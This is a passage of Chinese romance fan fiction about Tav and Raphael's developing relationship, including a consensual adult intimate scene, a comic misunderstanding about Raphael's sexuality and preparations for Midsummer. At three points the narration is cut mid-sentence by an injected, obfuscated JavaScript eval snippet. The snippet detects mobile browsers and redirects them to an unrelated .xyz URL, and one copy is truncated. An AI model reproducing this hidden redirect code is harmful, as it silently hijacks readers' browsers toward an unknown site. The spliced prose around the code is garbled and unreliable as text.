“我变得情绪化了。”塔夫一顿,连忙解释,“虽然我说不上喜欢自己这一面,其实就是不喜欢。但是表现出来后,发现好像也没那么糟,于是我觉得……变得轻松了。”她还想对拉斐尔说更多感激的话,却突然羞赧起来无法开口,干脆在他脖子上亲了下。 拉斐尔若有所思地点点头。 塔夫奇怪:“怎么了?” “当你吻我脖子的时候,而且几次都是右边,意味着‘我们和好吧’。” “你怎么又在清单上加了一条啊!”塔夫无奈,却终于笑起来,“算了,你记下来吧。我下次就亲左边。” 拉斐尔也笑了,重新吻住她,像是要以唇为笔记下她的这点喜好。塔夫捧着他的脸热情地回应。很快,拉斐尔便抱起她,边吻边坐到沙发里,一手将她按在自己腿上,一手扶住她颈后,舌探进她齿关,又去寻她嘴里的敏感。 这个吻比以往都更加肆意深情,到最后塔夫亲得有些缺氧,不得不向后仰开些大口呼吸,手则撑在拉斐尔胸口,隔着衬衫感受掌下的温度和柔韧。 拉斐尔深深望着她,嘴唇看上去水润润的。那里伤口已经大好,但新长出的地方颜色仍浅一些,透着粉,极为诱人。塔夫忍不住俯身在他唇上咬了下,他轻轻呻吟一声,眉梢眼角都是情动的模样。忽然,那种很喜欢他的感觉再次咕嘟咕嘟地往外冒,塔夫胸口酸酸胀胀的,只觉现在的距离无法令她满足,想和他贴得更近一些,便低声问: “你想把衣服脱掉吗?” 身下拉斐尔一僵,瞳孔明显放大一瞬。 塔夫意识到什么,轻咳一声:“你是……结婚前不能吗?” “不。”拉斐尔立刻回,也清了下嗓子,“我没有这种信仰,或者家训。”然而他坐着一动不动。 塔夫脸开始有些红:“那,你会想试试吗?” 拉斐尔嘴唇微张,喉结耸动,这次好久没有回答。 塔夫真的不好意思起来,没办法再问第三遍,只说:“没关系,你要是不想的话可以直接告诉我,我不会觉得有什么……” “我想。”拉斐尔终于说。他耳朵红得发亮,眼睛看上去也像是在燃烧,“不过,现在,”他停顿好一会,“我们可以等等吗?” “当然可以。”看到拉斐尔的反应,塔夫一下不再窘迫,甚至最开始的一点受挫都消失了。她觉得这个时候笑出声不太合适,抿抿嘴忍住笑,又垂下脸偏过头。 她手仍撑在拉斐尔胸口,忍笑时手指下意识蜷起来。拉斐尔胸膛忽然起伏得厉害。接着,他一手仍在她后背支撑着,一手却摸向自己的衬衫扣子。然而他手指抖得厉害,摸索了好一会才解开第一颗纽扣。他轻轻呼出一口气,又摸向第二颗。 塔夫伸手覆在他手背上:“没关系的,我不想给你压力,推着你做什么。” 拉斐尔望着她:“只是衬衫。”他还是移开视线,“如果你不介意只是……的话。” “当然不会。”塔夫立刻斩钉截铁地回复,又说,“我来帮你。” 她很快解开第二颗。拉斐尔衬衫下露出更多肌肤,从脖子到锁骨,甚至连胸口都明显泛着红。于是她还是停下了,却忍不住飞快碰了碰,想要收回手说这样就挺好时,拉斐尔覆住她的手背。 他的手指已经不再颤抖,也忽然能够熟练地单手解开纽扣,又带着她探向更下。 从胸口到小腹,哪怕拉斐尔是坐着,肌肉也依旧紧实有力线条分明,既不过分夸张也不显得纤瘦。塔夫摸着摸着手开始有些发抖,拉斐尔却慢慢弯起唇。 尽管仍坐在拉斐尔腿上,塔夫却觉得突然之间二人位置颠倒。她深吸一口气,反过来抓住拉斐尔的手,伸入自己衣摆下,又低头重新亲吻他。 拉斐尔果然再次一僵。 塔夫有些得意又有些好笑,刚想抬起身瞧瞧拉斐尔现在的模样,就被他牢牢扣在怀里吻住。他手指伸进她发间,被她抓住的手贴着她腰侧探索起来,指尖一点一点小心翼翼地抚过她的皮肤,触碰到肋骨后立刻停下,在她肚子周围打转。 塔夫听到自己发出陌生的鼻音,感到腰后和盆骨泛起一层层细密的几乎有些疼痛的痒,忍不住缩起身躲闪,手也乱划乱推起来:“等……唔……停。” 拉斐尔微微放开她,重新握住她手,按在自己腹肌上:“真的不想再继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14440465|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续摸摸看?” “只是今天先到这里!”塔夫很笃定地点点头,“让我们慢慢来,顺其自然。毕竟,今天的复习还没有完成呢……” 她眼神和语气都越来越飘忽。拉斐尔轻笑出声,重重吻她一下,这才彻底放开她。塔夫总算能重新坐直,看到身下拉斐尔靠在沙发上,衣衫敞开,最下摆仍规规矩矩固定在裤腰里,腹肌若隐若现,却更显得诱惑。她又想亲他了,而且不仅仅是嘴唇。可如果真亲的话,应该就不会再停下了吧。 塔夫心里默念好几遍复习,终于还是磨磨蹭蹭站起来,拉斐尔也随她站起身,第一件事却是抬手整理头发。塔夫实在不能错过这个机会,立刻上前,一下子把他衬衫整个抽出来:“啊哈!” 然后,转身就跑。 不过几步,她就被拉斐尔从身后环住,抵在门上。拉斐尔毫不客气地在她耳朵上边咬边呵气,一字一字笑着问:“这是什么意思?” “反正你也要整理衣服嘛。”塔夫正笑到一半,耳朵被吹气,身子又酥又麻,连忙回头求饶,“我认错我认错。” 拉斐尔却已经重新吻住她,手也再次探进她衣摆。这次不仅仅只是指尖,而是张开整只手。他手掌宽大,手指又长,几乎一手就能盖住她小腹,温度更是热得惊人。塔夫被拉斐尔紧紧揽住,只觉得身前身后都是他的体温,唇齿间也满是他的气息,忍不住舒服得哼哼起来:“拉斐尔……” 拉斐尔一下顿住,塔夫望着他抿抿唇:“这样子接吻感觉真好。” 拉斐尔重重喘出一口气,落在耳边听着格外诱人。下一刻,他便更用力地搂紧她。塔夫刚轻轻呻吟一声,拉斐尔已经再次吻住她,方才只是覆在她小腹的手也开始动作,力道有些重地抚摸着,又开始慢慢上移。 塔夫意识到今天可能真的会更进一步,虽然心里期待,却也生出紧张来。拉斐尔拇指又向上擦过一寸皮肤,碰触到她边缘,塔夫还是不由得打了个哆嗦,嘴唇也下意识地躲了躲。拉斐尔手停住了。他轻轻吻吻她脸颊,声音有些哑:“今天就到这里。” 他松开她,帮她整理好衣服下摆,向后退开几步。 塔夫慢慢转过身,背靠在门上,仍有些气喘和脸红。拉斐尔低着头,手不算太稳地系扣子。她看着那漂亮的肌肉一点点消失在衬衫下,尽管刚才打退堂鼓的是自己,此时还是不免有些可惜:“你身材可真好。” 拉斐尔手一抖,差点把扣子扯下来。 “听说赛艇队很严格。”塔夫又说,“你暑假一直在这里的话,会不会影响你锻炼?我可以帮你问问明斯克。” 拉斐尔终于系好最后一颗纽扣,抬起头:“没关系。我可以自重练习。” “你在这里每天也还在锻炼?” “一般是早上。有一次是睡前。” “你真厉害。”塔夫忍不住上前抱住他。看过摸过之后,抱起来感觉似乎更好了。她有些舍不得松开。 拉斐尔手揽在她背上:“彼此彼此。”他声音再次变得有些沙哑,清了清嗓子,又用她刚才的语气说,“你每天都要复习呢。” 塔夫在他背上抓了下,模仿他哑声回复:“嗯。彼此彼此。”她终于忍不住笑起来,“拉斐尔,我真的很喜欢你。” 拉斐尔喉咙发出很低的一声咕哝,塔夫仰起头,他表情镇定,但脸和脖子又染上一片绯红,根本藏不住。塔夫笑得更开心,拉斐尔把她脑袋按回自己身前,这才说: “我也是。我也很喜欢你。” . 85.推延 过去数周,塔夫一直很想知道其他情侣是怎么相处的。 她其实也没有什么不满,只是…… 一方面,她和拉斐尔像是跳过热恋期,直接进入某种分房睡的老夫老妻式生活。 早上,二人在楼梯前或厨房里或大门旁交换早安吻,各自出门。忙碌完一天农场的活计,回家做饭吃饭,聊聊这天发生了什么。晚餐后,在厨房长桌上一起复习考试,直到…… “谁家老婆婆和老爷爷会一起复习考试啊?喝茶看书玩填字游戏还差不多。”卡菈克打断她。 “你知道我的意思就行了!”塔夫白她一眼。 “那你继续。” “直到睡前再交换一个晚安吻,各自回房。”塔夫干巴巴地说完,“感觉不是很像在谈恋爱。” 卡菈克嘿嘿笑了声:“你想要什么样子的恋爱?” “我也不知道,所以才问你的啊!” 卡菈克的回答果然是不同情侣之间相处方式哪能都一样,适合自己的就是好的。 “真空泛!”塔夫十分不满。 “这种事你直接和拉斐尔说呗。”卡菈克耸耸肩。 塔夫支吾起来。拉斐尔可是夸她明确知道自己想要什么,还很喜欢她这一点。她总得要爱惜一下自己的羽毛和声誉。最后,她只是反问回去: “这种事我应该怎么问他?” 卡菈克继续没有任何帮助:“疑惑什么就问什么啰。你还没讲完呢。这是一方面,那另一方面呢?” 塔夫却顿住了。 卡菈克扬起眉毛:“唔?” “反正你也给不出来什么建议。”塔夫丢下一句,“而且我得去喂动物们了。” 卡菈克在她身后意味深长又抑扬顿挫地“唔——”一声,塔夫果然无可奈何地转过身:“别多想。” “我头脑空空,等你来填充。” “……” 塔夫只得简单说,“和刚才的意思差不多,就,感觉不是很恋爱。” . 塔夫没有说出口的自然是她同拉斐尔的亲密。 那天晚上之后,两人没再有任何进展,甚至连那种程度的深吻也并不经常。往往是由她先抚摸拉斐尔,他才像是得到准许,变得热情起来,却又总是恪守着某条线。 不过再一次,塔夫说不好自己到底想要怎样的进展,因为她挺喜欢现在的状态。比起热烈的亲吻,她同样喜欢长时间的拥抱。既然拉斐尔说了“等等”,她就没再提起下一步的事,可拉斐尔也一直没有任何表示。 她喜欢和拉斐尔肌肤相贴,也深信这感觉是相互的。拉斐尔体力很好,精力旺盛,然而哪怕在他最强烈的渴望外面,似乎也总有一层防护膜,阻拦住了他,也让她开始有些疑惑。 有些矛盾的是,如果拉斐尔真的毛手毛脚,她大概会觉得厌恶。但他表现得这样慎重以及耐心,她却反过来有点心急。 塔夫有时候会想,自己的喜欢是不是有些肤浅。说不定她只是很喜欢拉斐尔的脸,现在当然还要加上他的身体。 而对拉斐尔来说,他对她的观点抱有好奇,对她的喜好怀有兴趣,他想要理解她、陪伴她、逗她开心、得到她的反馈,包括二人亲密时候的反馈。但他很少直接称赞她的外表,最近一次她问起他,他的回答是带点调侃意味的: “我喜欢你,可不仅仅是因为你的头脑和性格。” “那你觉得我漂亮吗?”塔夫仍是问。 “当然了。”拉斐尔吻吻她。 “最漂亮吗?”塔夫坏笑着追问。 拉斐尔斟酌了一下。 客观而言,塔夫不是他见过的最漂亮的人。比如阿斯代伦,就长得“更标志”。 但这种评价或比较本身没有太多含义,如果非要他来说的话,他觉得塔夫长得……刚刚好,一切都恰到好处。他记得有一次,她在他鼻梁上吻了吻,夸他鼻子长得好看,希望自己的鼻子也能这么挺这么高。但对他来说,如果她的鼻子真的再挺直一些,很多独属于她的生动表情就会变得死板起来。 他仔细端详她的五官,又说他觉得她的外貌每次看上去都有细微不同,几乎是流动的,取决于那个时刻她的情绪和想法,以及他对她的感受或者说两人之间的关系。 最后他在她鼻尖上亲了下:“我很喜欢你现在的样子。” 从他的眼睛里,塔夫能看到他没有说出口的话:以及过去、未来、每一个时刻的样子。 塔夫有些脸红,觉得得为自己刚才的问题或者态度辩白:“我也很喜欢你。”她强调,“作为一个整体。”她想了想又添上好几句,“我喜欢你很有自控力,也很喜欢跟你聊天,哪怕我们看法不一样,有的时候我其实更喜欢不一样的地方。而当我突然冒出来什么念头或者看到什么有意思的事,也会第一个想要说给你听。” 拉斐尔回答说,这让他很高兴。 那次他很主动很热情地亲吻她,让她现在只是想想也有些难为情的程度。如果不是她刚夸过他的自制力,说不定两人就能做到下一步了。 . 显然,拉斐尔是被她吸引的。 塔夫打开鸡笼,放母鸡出去散步,又顺手抱起一只——凑巧或不幸的是,和上次是同一只母鸡。塔夫揪着它肚子上的软毛,叹口气。 那为什么拉斐尔还没有下一步的表示呢,尤其是她已经表达过她想要的情况下。 母鸡:“咕咕!” 难道拉斐尔后悔了? 塔夫觉得不太像,拉斐尔一直还是那个拉斐尔。 有一天他带了一束鲜花回来,从原野的花丛割下的,因为盛放的样子让他想起她。她表示很喜欢后,家里的每一个花瓶很快都插满鲜花——不仅仅是花瓶,是所有能装水的容器,哪怕角落那个碰掉半边的陶罐。 一开始和平常一样,大多是随处可见的三色堇和蓝帽子花。后来,开始有紫色的鸢尾花或金黄色的向日葵点缀。其实后两者也都是常见的花,但拉斐尔搭配得很有巧思,不过寥寥数朵,便点亮那一小片空间,也让整个房子变得雅致起来。 甚至连一向不太注意这些的卡菈克都发现了:“瞧这氛围!我们是要在家里搞艺术沙龙、办画展吗?” 贾希拉笑着回:“我们已经在办‘花’展了。” 塔夫也夸赞拉斐尔对美有种奇特的洞察力,妙手偶得。 拉斐尔笑容后似乎有另外的意思,于是塔夫偷偷观察他几次,发现他其实会收集很多种不同的野花,尤其是家中最显眼的那几束,都他是特别整理出的。 “没有用到的那些花呢?”塔夫问他。 “和厨余一起,送去堆肥。”拉斐尔若无其事地回道。 塔夫又感动又有些哭笑不得,和他你来我往地讨论好几句,从使用与浪费,到欣赏与占有,最后直接上升到给自由生长的野花强加上满足审美需要的属性,这实在是有人类中心主义倾向,工具化与异化大自然。 直到最近,家里的鲜花才终于恢复平常数量——只在起居室里放着一大捧。不过保持了拉斐尔的风格——看上去随意但其实仍经过精心挑选。 . 如果这件事太小,不足以说明什么,拉斐尔还会积极和她一起出现在“任何”有旁人在的场所,并在别人问起的时候,郑重介绍他正在与她交往,几乎到了有些刻板的地步。 有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“艾琳!这是塔夫。贾希拉的小女儿。塔夫,希望你别介意,放在这里就可以,谢谢你特意来,我会把篮子还回去。拉斐尔,嗯,在这里见到你很……意外。” 气氛明显不对,拉斐尔却像是什么都没有感觉到,认真介绍:“午安,伊索贝拉以及艾琳女士。我正在和塔夫交往。” 伊索贝拉:“原来如……诶。咦?” 艾琳:“谎言!我们得马上离开!” 塔夫:现在根本不是说这句话的时机啊! 林中之旅在一片混乱中结束,虽然一番解释后艾琳不再剑拔弩张,但塔夫莫名觉得,这会是她最后一次见到艾琳和伊索贝拉。 尽管并不常和她们接触,塔夫还是有些遗憾,又问拉斐尔:“原来你认识她们?” “听到艾琳女士的时候我有所猜测。不过对于伊索贝拉,她在我记忆中一直只是索姆小姐,或者最受索姆将军宠爱的小女儿。” 拉斐尔接着简单介绍起索姆家, “将军手段强硬。用对付政敌的方式激烈反对女儿的恋爱与婚姻。伊索贝拉逃走,却原来躲在这里。” 至于艾琳。拉斐尔面无表情了一会,最后只道:“天界生物。呵。这厌恶是双向的。”不过,哪怕提前得知是对方在这里,他也仍会跟着塔夫一起前来。倒不如说,他更加会一起来。 塔夫知道拉斐尔话里的意思。 他希望别人知道二人的关系,不仅仅是她的生活圈,还有他的社交圈。他很正式地对待与她的感情。 . 既然如此,对于她也期待的亲密,拉斐尔还在推延什么? 塔夫想到伊索贝拉和艾琳女士,手忽然一僵,母鸡立刻趁机扑棱着逃走。 她皱眉仔细思考,愈发觉得这猜测很有可能。 拉斐尔那些细腻的情话,对美的敏感,对发型外表的注意,对高中女生的态度,以及迟迟不肯的下一步。 他不会,其实是,深柜吧!? . 86.笑话 塔夫终于做出这个艰难的决定。 即使如此,她也仍会支持拉斐尔。 作为,朋友。 . 这天恰好是七月的第三个周三,贾希拉定下的农场阅读日之一。 成年之前,她要求塔夫和卡菈克每个季度至少读一本书,阅读日则是开始挑看新书的开始。虽然二人都已经成年,这日子却保留下来,明斯克和小布也总是会跑来凑热闹。 晚饭后,塔夫带着拉斐尔来到书房前,小心推开门,第一次见到他如此震惊的表情。但她可以肯定,不是因为书房里有太多书,而是——里面太乱了。 如果非要形容乱到什么程度,那一定是积重难返。从地板到天花板,书堆得几乎连书架都看不见。塔夫甚至不记得她们上次尝试整理是几年前的事。 这也是她和拉斐尔只能在厨房复习的原因。 卡菈克一向满不在乎:“反正能找到想看的书就行。” 塔夫的态度和她差不太多,因为非常神奇的是,她们总能找到想要的书,而且没有想象中那么难。不过这对于拉斐尔大概是个挑战。塔夫觉得他在做什么心理斗争,问:“你有什么特别想看的吗?” 拉斐尔没有任何犹豫便请她推荐一本,自己则稳稳地站在门外。 塔夫在书堆中挑拣半天:“这本一定会很有意思。” 《拥抱真实的自己——72种性别与性取向》。 拉斐尔挑起眉,明显疑惑地望向塔夫。塔夫心虚地瞧瞧这里又看看那里,假装在找另一本可惜无果。拉斐尔已经笑着摇摇头,朝门后谨慎伸出半只胳膊,随手拿起一册《不幸的西弗斯》:“我看过这本。可以再读一遍。” “倒很有你的风格。”塔夫也抽出一本随笔,把原本属于拉斐尔的《真实性取向》和那片混乱再次关到在书房门后。 . 回到起居室,夏天壁炉没有生火,壁炉架上摆着花瓶,插着由拉斐尔搭配的一大束鲜花。 贾希拉仍是按习惯坐在壁炉旁的摇椅中。明斯克在她脚边,直接坐到地板上。卡菈克为自己扒拉出几个软垫,把长沙发留给塔夫和拉斐尔二人。 沙发有点矮,塔夫瞧拉斐尔坐着不太舒服的样子:“要脚凳吗?” 他点点头:“好。” 塔夫便收拾出一张——其实只是把上面堆得毯子都丢到地板上。 拉斐尔起身和她一同把脚凳搬到沙发前,重新坐下脚搭上去,笑着谢谢她:“的确舒服多了。” 塔夫也跟着开心起来:“嘿。” 卡菈克意味深长地咳嗽一声,塔夫立刻朝姐姐做了个鬼脸,各自被贾希拉瞧一眼后,一起很有派头地打开书。 起居室很快变得安静起来,只有时不时的翻书声。 塔夫看看拉斐尔。哪怕双脚搭在脚凳上,他姿势依旧优雅。 塔夫又瞧瞧明斯克。他叉开腿没什么仪态地坐着,小布抓了抓他手指,他替它翻过一页,接着屈起左腿,脚踩上地板,腿叉开更多。 拉斐尔双腿在脚踝交叠。 塔夫若有所思。 因为心里藏着秘密或者更像是疑惑,塔夫有点沉不住气,总想打破这宁静。又翻几页书,看到一处,她忽然开口:“拉斐尔,你脚很大。” 拉斐尔看了眼自己的脚,又望向塔夫,表情有些不解。 塔夫神秘道:“你知道吗,这意味着你还有一样东西很大。” 翻书声停止了。 卡菈克清了下嗓子:“塔夫,我们还都在这里呢。” 塔夫邀请道:“你们也可以一起猜猜看那是什么。” 更加古怪的沉默中,小布“吱”了一声。 明斯克几乎是立刻道:“不!小布!我不会帮你说的!”他飞快扫了一眼拉斐尔,语气更加坚决,“不!” 拉斐尔耳朵慢慢染红,不自在地收回脚放在地上,并拢双腿。 这下连贾希拉都开口了:“塔夫,也许有的笑话并不适合……” 这一连串反应令塔夫感到意外,干脆直接把谜底抛了出来:“这意味着拉斐尔的鞋子也很大。” 拉斐尔立刻捧场地笑了下:“哈!” 卡菈克则是:“哈?” 塔夫展开书解释起来:“作家随笔和日记选集。她多次梦见一个举世公认的真理,终于可以解答一切人生难题,于是她反复尝试好几次总算记录下来,却发现是‘香蕉大则香蕉皮也大’。我刚才借鉴了一下。” 贾希拉和明斯克一起笑起来,小布“吱”得非常大声。 卡菈克睁大眼睛:“什么?真的假的?这是哪个作家?” 塔夫到卡菈克身旁指给她瞧的时候,忽然望向拉斐尔,脸一下涨红。她猛地把书丢给卡菈克:“你慢慢看。我要去。卫生间。” 拉斐尔一会也放下书站起身,跟了过去。 塔夫知道拉斐尔在身后,但脸烧得厉害,一直爬到二楼才停下:“拉斐尔,我刚才不是……” “鞋子?”拉斐尔绷着脸,仍有些不可置信,“我的鞋子很大?”他话没说完就立刻笑起来。 塔夫也终于笑出声:“这个笑话简直太糟了。” 两人笑了好一会。本来拉斐尔已经先止住笑,看到塔夫仍在笑,又不由自主地跟着笑起来。塔夫也是如此,反反复复,最后笑到肋骨生疼:“哎呦,不行了,我要受不了了,真的不能再笑下去了!你快想想办法啊。” 拉斐尔努力板起脸,揽住她肩膀,嘴唇贴了上来,刚碰到,又立刻“噗嗤”一声吹在她嘴里,重新俯在她肩膀笑起来。 “你简直是在帮倒忙!”塔夫肋骨更疼了。 终于不再笑的时候,塔夫几乎有点喘不过气,手扶在肋骨下。拉斐尔弯着眼睛瞧着她,不知道心里在想什么。塔夫福至心灵,觉得这轻松的氛围简直再适合不过:“拉斐尔,我还有一个问题。” 拉斐尔有些隐忍的表情:“嗯。你问。” “你有想过自己可能是同性恋吗?” “噗!”拉斐尔立刻又笑出来。 塔夫奇怪:“这个问题哪里好笑?” 拉斐尔过了会才止住笑:“我不知道。我以为这是另一个笑话,便忍不住先笑了。”他表情慢慢变得吃惊起来,“你刚才是认真在问?” 塔夫现在倒有些希望这真的是个笑话,可惜她一时想不出来好笑的结束语,最后只得点点头:“这次是一个真的问题。” 拉斐尔思索片刻:“你为什么这么问?” 这反问还真是很有拉斐尔的风格,塔夫一时说不出口自己的猜测原因。拉斐尔等了片刻,声音有些不那么平静:“你发现,自己其实被女性吸引?” “什么?”塔夫一下瞪圆眼睛。 拉斐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459211|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔抿抿唇:“是既喜欢女性,也喜欢男性。还是只喜欢……” “你给我停一下。”塔夫又好气又好笑,拉斐尔反客为主得也太过自然了,“这问题是我来问你的!” “我并不是。我喜欢你。”拉斐尔立刻回答,紧接着又立刻问,“你呢?” “我当然也不是!” 塔夫差点质疑拉斐尔为什么要她问这个。那当然是因为她开的头啦!而拉斐尔明显仍在思索她这样询问的背后原因:“所以你才推荐那本书?”塔夫终于还是支支吾吾地小声说:“因为我们一直没有,你知道的,进一步。所以我……” 拉斐尔忽然抱住她,肩膀在微微颤抖。 “你不是又在笑吧?”塔夫脸涨红。 “……哈。”他明显在试图忍住笑,但颤抖得更厉害。 塔夫成功恼羞成怒,又气又尴尬,使劲推拉斐尔:“你居然还笑!你今天怎么笑得那么多!” 等拉斐尔终于松开她的时候,塔夫已经不想再和他说话了。拉斐尔吻她的时候,她也一动不动。拉斐尔俯下身平视她的眼睛:“因为你实在是太有意思也太可爱了。” 塔夫扁扁嘴,别开视线,没说话。 “我们一直没有……”拉斐尔轻咳一声,“是因为我在做一些准备。” “什么准备?”塔夫立刻被吸引,望向拉斐尔。 拉斐尔视线却躲闪起来:“我希望我们的第一次,”他顿住,似乎在寻找一个恰当的形容,最后只说,“很难忘。” 塔夫一下扑进拉斐尔怀里。这次换成她笑个不停,而拉斐尔有些手足无措。 “你都准备了什么?”塔夫把脸埋在拉斐尔身前,便很容易问出口。 过了一会拉斐尔才重复道:“一些。” “我真的很想知道。”塔夫声音放软撒起娇来,“因为这第一次又不仅仅是我一个人的,还是你的,是‘我们’的。我也想要参与准备。” 她说个不停,“我知道你想给我惊喜,可我既然已经知道你在准备,就实在没办法不好奇你具体都准备了什么。” 眼见拉斐尔被一大堆“准备”包围,态度有所松动,塔夫却笑着后退一步给他喘息的机会:“你可以准备准备,晚些时候再告诉我。我们出来得有些太久,该回去了。” . 塔夫和拉斐尔回到起居室时,明斯克已经带着小布离开。 卡菈克一脸打趣的笑容,把作家随笔还给塔夫,意有所指地道:“真有意思。” 贾希拉则很善解人意地没有提刚才的事,而是说起另一个一直在进行中的、挺重要的计划。 ——填补蓄水池。 “戴蒙把镇上那台不知道多久没用的抽水装置修理好了。”卡菈克补充说,“他还增加了功率,调试很成功。” 而水塘里有不少鱼,抽干水后,需要将鱼捞上来,明斯克打算邀请镇上的人一起。 “定在仲夏节那天。”贾希拉微笑道。 “至少一整周,每家都可以吃炸鱼卷,喝炖鱼汤了!”卡菈克很喜欢鱼,又冲塔夫眨眨眼,“而且捞鱼的时候,可以好好玩玩水。” 塔夫兴奋望向拉斐尔:“只是听着就已经很有意思!”他看上去却有些意外,过了一会才冲她点点头。塔夫一下反应过来: 仲夏节,在费伦大部分地方,也是情人节。 . 87.仲夏 拉斐尔的准备果然是围绕仲夏节那天展开的。 当只有两人在时,哪怕他表情镇定、同以往一样,塔夫也还是能感觉出他的失落。大概也是因为她恰好刚问出拉斐尔在计划什么,这令他更加难以遮掩。 塔夫握着他的手,想了想,开口却是问:“校友日那天——我不是要求知道你做了什么,或者为什么要那么做——我只想知道,你那时的感受是什么。” 拉斐尔回答得很快:“失望。” 塔夫没有说话。她并不意外,拉斐尔和她一样,当然也是期待的。 拉斐尔沉默片刻,又说:“我令你失望了。” “不!你并没有!”塔夫立刻说,“好吧,校友日那次我的确些失落。但这次并没有。”她伸出手环在拉斐尔腰上,笑着又添上附加条件,“如果你告诉我,这次仲夏节本来打算做什么的话。” 拉斐尔回拥住她,在她发顶吻了吻,又轻轻叹了口气:“主要是,想补上我们的告白。” “我以为我们已经在交往了啊?”塔夫惊讶,“你那天早上不是已经答应我了吗?” “是……我没能实现的正式的告白。”拉斐尔声音放低,“我一直想要好好弥补你。” “由我来说也是一样的。”塔夫忍不住搂紧拉斐尔,“但我也很感动,原来你还在准备这个。我以为只是……”她顿了下,“我很想提议我们可以再等到一个特别的时刻,但如果要等到下个仲夏节的话也太久了。”她说着又抱得更紧了些。 拉斐尔笑出一声,听上去释然很多。又在塔夫再次央求下,告诉她原本的仲夏节计划。 农场全夏无休,仲夏节是少有的一天休息日。除了美食、庆典、仲夏节集会,他还从更远的城镇订了甜品和葡萄酒,请法师来一场烟花,以及最重要的是,仍在等一条裙子。 “那条绿色的丝绸裙子?”塔夫惊讶又有些不好意思——她把裙子还回去后,就没再想起来过这带着划清关系意味的举动。 “嗯。请费加罗重新做了几处调整。”拉斐尔解释起来。他觉得那条裙子很适合她,但她两次穿时都经历了一些不愉快的事,而他希望那条裙子能给她更美好的回忆。 塔夫笑起来,拉斐尔的固执甚至可以体现在一条裙子上,不过她也松一口气:“嗯,我穿上裙子接受你的告白,然后你再帮我脱下来。”天啊,她都说了什么。 拉斐尔果然怔了下,又慢慢弯起唇。 塔夫连忙补充:“我的意思是,那会很有象征意义。”女神啊,听上去简直更糟了。 于是她又添上一句:“说明过去的都过去了。” 她终于重重叹口气,决定还是让尴尬结束在这里,忙不迭很有里萨风格的提议:既然计划有变,二人不如一起给仲夏节的活动排个序。 对拉斐尔来说,最期待的是正式告白,如果塔夫愿意重新穿上绿裙子就更完美了。塔夫则在摸鱼、庆典、告白、亲密中挣扎许久,最后说:“这些完全都可以放在一天!” 她在拉斐尔唇上亲了下:“捞完鱼身上肯定湿漉漉的,总要回来换衣服,正好穿上裙子。” 拉斐尔笑着回吻她:“你说得很对。” . 仲夏节当天。 拉斐尔和卡菈克一早便同明斯克出发去镇上,在那里同戴蒙汇合,一起运抽水装置去蓄水池。塔夫先留在农场——虽然是节日,动物还是需要照顾——忙了大半个上午这才出发赶去水塘,路上还遇见几位熟面孔,都是附近镇上的年轻人。 于是她便走得慢了些,和众人说笑着到水塘时已近中午。 抽水装置仍在轰轰作响,水位早已经降了下去,只到膝盖,露出鱼群银亮的脊背,大多是花斑鱼和太阳鱼,还有一些大口黑鲈。 好几位镇民已经在水塘里,嘻嘻闹闹地捉鱼。卡菈克和戴蒙也在合力围堵,抓到一条便扔进池边装满清水的大木桶里,又高呼:“那条大鳗鱼!游到那边去了!” “哦哦!我看到那黑影了!”明斯克高声回道。小布坐在明斯克肩膀“吱吱”地指挥,明斯克叉着腰蹚着水追捕鳗鱼,反而把池水搅得更加浑浊起来。 而拉斐尔,则在岸边指挥工人堵塞水塘漏洞。他应该从没有做过这些事,但神情镇定而又从容不迫,看上去就很值得信任。 塔夫远远望见他,很大幅度地挥了挥手,他弯起眼睛,唇角翘着直到塔夫跑到他身旁。他飞快在她唇上吻了吻:“你来了。时间刚好。” “你一直在这里工作?”塔夫诧异,又立刻转头喊,“喂,明斯克!别太过分!该换人了!” 卡菈克立刻大声打趣,于是塔夫毫不客气地加上:“戴蒙!抽水机响得有点不对劲。” 见明斯克和戴蒙开始朝这个方向蹚水,塔夫胳膊碰碰拉斐尔:“让他们来。我们一起下水玩,咳咳,帮忙捉鱼。” 和她一起到的几个年轻人已经跳下水,塔夫也拽着拉斐尔到一旁。她很快脱掉鞋和袜子,赤脚踩在草叶有些硬的高草地上,正挽起裤腿,扭头看到拉斐尔不但没有脱下一件衣服,反而穿上有些笨重的黑色高筒水靴。 “而且居然还穿着衬衣。”塔夫嘀咕得很大声,“至少袖子得挽起来吧。”她说着要上手去解他的衬衫袖子上的纽扣。 拉斐尔笑着揽腰抱住她:“我这样就可以。” “这么矜持。”塔夫打趣说他也太过害羞,最后还是只卷好自己的裤脚,又脱掉外衣,和拉斐尔一起下到水塘里。 池边的水刚没到脚踝,被太阳晒得很暖和。塔夫又走几步,就有一条鱼贴着她脚边惊慌地游过。 她连忙弯下身,想不到鱼这么多,只是随便一抓就能抓到。虽然不是她瞄准的那条,塔夫还是得意地冲拉斐尔笑起来。他也很轻松捉到一条,甚至比她的那条还大。塔夫夸一声,心思很快就放到抓鱼上。 那条到处乱窜的大鳗鱼像是在保护领地,好几次滑溜溜地抽在她腿肚上,后来又吓哭一个在池边玩水逗鱼的孩子,塔夫决定还是得先逮住它。 “帮我堵住那边!” 